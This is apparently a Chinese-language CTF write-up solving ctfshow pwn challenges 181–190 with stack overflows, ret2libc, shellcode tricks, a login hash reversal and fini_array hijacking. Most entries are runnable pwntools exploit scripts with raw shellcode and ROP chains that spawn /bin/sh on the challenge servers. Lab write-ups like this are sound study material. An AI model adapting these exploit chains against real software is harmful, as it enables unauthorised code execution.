前言 这段时间没搞过pwn了,发现ctfshow wp更新了,那就来学一下吧😋(绝对不是这个原因🙅)
随缘更~~
181–ret2text 直接就是栈溢出了
能覆盖返回地址三字节
函数表里面有个Mid函数读flag,直接返回即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28220' pwnfile = './181' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) payload = b'a' *0x16 + b'\xD6\x85\x04' sl(payload) itr()
182–重定向输出 1 2 3 4 5 6 int init () { setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); return fclose(_bss_start); }
183–ret2libc 栈溢出,打ret2libc hint给了libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28312' pwnfile = './183' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) prdi = 0x0000000000400873 ret = 0x0000000000400546 ru(b'0x' ) puts_addr = int (r(12 ),16 ) leak('puts_addr' , puts_addr) libc = LibcSearcher("puts" , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) leak('libc_base' , libc_base) payload = b'a' *0x68 + p64(ret) + p64(prdi) + p64(bin_sh) + p64(system_addr) sl(payload) itr()
184–pie_修改低位 栈溢出
开了pie,覆盖返回地址低2字节为0x?735(bin)
十六分之一的概率,没有写爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28107' pwnfile = './184' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) payload = b'a' *0x20 + p16(0xa735 ) s(payload) itr()
185–ret2shellcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int ctfshow () { char s[36 ]; puts ("What's your name?" ); fflush(stdout ); gets(s); puts ("What's your favorite PWN's Type?" ); puts ("1.odd number is stack\n2.even number is heap" ); fflush(stdout ); __isoc99_scanf("%d" , &type); if ( (type & 1 ) != 0 ) printf ("Hello %s,%d is interesting" , s, type); else printf ("Hello %s,%d is challenging" , s, type); return fflush(stdout ); }
知识点 :
printf 这样的函数不是直接打印到屏幕上的,而是先放在一个缓冲区中(stdout)中。如果收到了一个换行符,就会把这个缓冲区的内容打印到屏幕上,并清空。而 fflush 的作用就是直接把缓冲区的内容打印到屏幕上,并清空缓冲区。不必等换行符。
不好二次挟持控制流,由于没开NX,往栈上写shellcode 找一些有关esp的gadget来调栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28272' pwnfile = './185' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) io = init(pwnfile, IPort, libc_name) puts_plt = elf.sym['puts' ] puts_got = elf.got['puts' ] printf = elf.sym['printf' ] payload = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' .ljust(0x2c , b'\x00' ) + p32(0x08048451 ) + asm("sub esp, 0x30; mov eax, esp; call eax" ) sla(b'What\'s your name?' , payload) sla(b'1.odd number is stack\n2.even number is heap' , str (1 )) itr()
186–shellcode绕过 由mmap创造出来了一片可执行区域
check函数 反转字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28217' pwnfile = './186' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) sh = asm(shellcraft.sh())[::-1 ] s(sh) itr()
187–浮点数shellcode绕过 pctf 2016 fixedpoint
https://www.voidsecurity.in/2016/04/plaid-ctf-2016-fixedpoint.html
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdlib.h> #include <sys/mman.h> #include <stdio.h> int main (int argc, char ** argv) { float * array = mmap(0 , sizeof (float )*8192 , 7 , MAP_PRIVATE|MAP_ANONYMOUS, -1 , 0 ); int i; int temp; float ftemp; for (i = 0 ; i < 8192 ; i++) { if (!scanf ("%d" , &temp)) break ; array [i] = ((float )temp)/1337.0 ; } write(1 , "here we go\n" , 11 ); (*(void (*)())array )(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #include <string.h> #include <capstone/capstone.h> int disass (unsigned int num, char *code) { csh handle; cs_insn *insn; size_t count = 0 ; size_t inssz = 0 ; if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) return EXIT_FAILURE; count = cs_disasm(handle, code, sizeof (float ), 0 , 0 , &insn); if (count > 0 ) { for (int i = 0 ; i < count; i++) inssz += insn[i].size; if (inssz == sizeof (float )) { for (int i = 0 ; i < count; i++) printf ("%d :\t%s\t\t%s\n" , num, insn[i].mnemonic, insn[i].op_str); } cs_free(insn, count); } cs_close(&handle); return 0 ; } int main (int argc, char **argv) { if (argc != 3 ) { fprintf (stderr , "Usage: %s <from> <till>\n" , argv[0 ]); return EXIT_FAILURE; } int from = atoi(argv[1 ]); int till = atoi(argv[2 ]); char opcode[8 ] = {0 }; float bytes; for (int num = from; num <= till; num++) { bytes = num / 1337.0 ; memcpy (opcode, (char *)&bytes, sizeof (float )); disass(num, opcode); } return 0 ; }
扩大范围找到可用gadget即可
这里直接抄了(偷懒zzz)
由于没开NX,可以往栈上写shellcode执行,控制一下寄存器就行了
攻击思路:先构造一个read来往栈上写shellcode,然后调整寄存器值,利用call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28258' pwnfile = './187' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name) io = init(pwnfile, IPort, libc_name) sh = asm(shellcraft.i386.linux.sh()) s(b"-22942\n" ) s(b"-3701\n" ) s(b"64931\n" ) s(b"64931\n" ) s(b"72953\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"21526\n" ) s(b"0\n" *(8192 -12 )) ru(b'go' ) s(b"\x90" *0x100 +sh+b'\n' ) itr()
188–login爆破 爆破完了就是ret2libc
爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import stringdef reverse_hash (target_v3 ): MOD = 2018110700000 MULT = ord ('u' ) charset = string.ascii_letters + string.digits + string.punctuation def reverse_step (v3 ): for char in charset: char_value = ord (char) if (v3 - char_value) % MULT == 0 : return char return None def find_string (v3 ): result = [] while v3 > 0 : char = reverse_step(v3) if char: result.append(char) v3 = (v3 - ord (char)) else : break return '' .join(reversed (result)) return find_string(target_v3) target_v3 = 22493966389 possible_str = reverse_hash(target_v3) print (f"Possible string: {possible_str} " )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from tw11ty import *from LibcSearcher import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28182' pwnfile = './188' libc_name = "/lib/x86_64-linux-gnu/libc.so.6" elf = ELF(pwnfile) rop = ROP(pwnfile) io = init(pwnfile, IPort, libc_name) sla(b'Please input your name:' , b'wyBTs' ) prdi = 0x0000000000400a93 payload = b'a' *0x78 + p64(0x0000000000400a93 ) + p64(elf.got['puts' ]) + p64(elf.sym['puts' ]) + p64(elf.sym['ctfshow' ]) sla(b'Please input your code to save\n' , payload) puts_addr = uu64(r64()) libc = LibcSearcher("puts" , puts_addr) libc_base = puts_addr - libc.dump("puts" ) system_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' *0x78 + p64(0x0000000000400a93 ) + p64(bin_sh) + p64(0x000000000040028e ) + p64(system_addr) sla(b'Please input your code to save\n' , payload) itr()
189–fini_array利用 静态编译去了符号表(恼)
由_start找到main,稍微修复一下,这里题目比较简单就手动修复了
符号表修复方法:
基于签名文件的符号表还原
FLIRT
RIZZO
Lscan
Syms2ELF
基于BinDiff的符号表还原
Zynamic Bindiif
Diaphora
结合调试发现能过够实现任意地址一次写
使用fini_array来进行利用。byte_4B9330为2字节长度,循环256次后会上溢
fini_array利用:fini_array劫持 - 先知社区
libc_csu_init 在 main 开始前执行 , libc_csu_fini 在 main执行完后执行
后面需要再利用ret2syscall进行调用execve(‘/bin/sh’, 0, 0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from tw11ty import *def _ (addr, data ): sa(b"addr:" , str (addr)) sa(b"data:" , data) if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28122' pwnfile = './189' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) fini_array = 0x4b40f0 main = 0x401B6D libc_csu_fini = 0x402960 bss = 0x4b92e0 prax = 0x000000000041e4af prdi = 0x0000000000401696 prsi = 0x0000000000406c30 prdx = 0x0000000000446e35 syscall = 0x00000000004022b4 lret = 0x0000000000401c4b ret = 0x0000000000401016 pop = fini_array + 0x10 _(fini_array, p64(libc_csu_fini) + p64(main)) _(bss, b'/bin/sh' ) _(pop, p64(prax) + p64(59 ) + p64(prdi)) _(pop+0x18 , p64(bss) + p64(prsi) + p64(0 )) _(pop+0x30 , p64(prdx) + p64(0 ) + p64(syscall)) _(fini_array, p64(lret)+p64(ret)) itr()
190–32位非栈上格式化字符串 改fgets_got为system需要泄露libc,远程libc版本为2.27-3ubuntu1.6_i386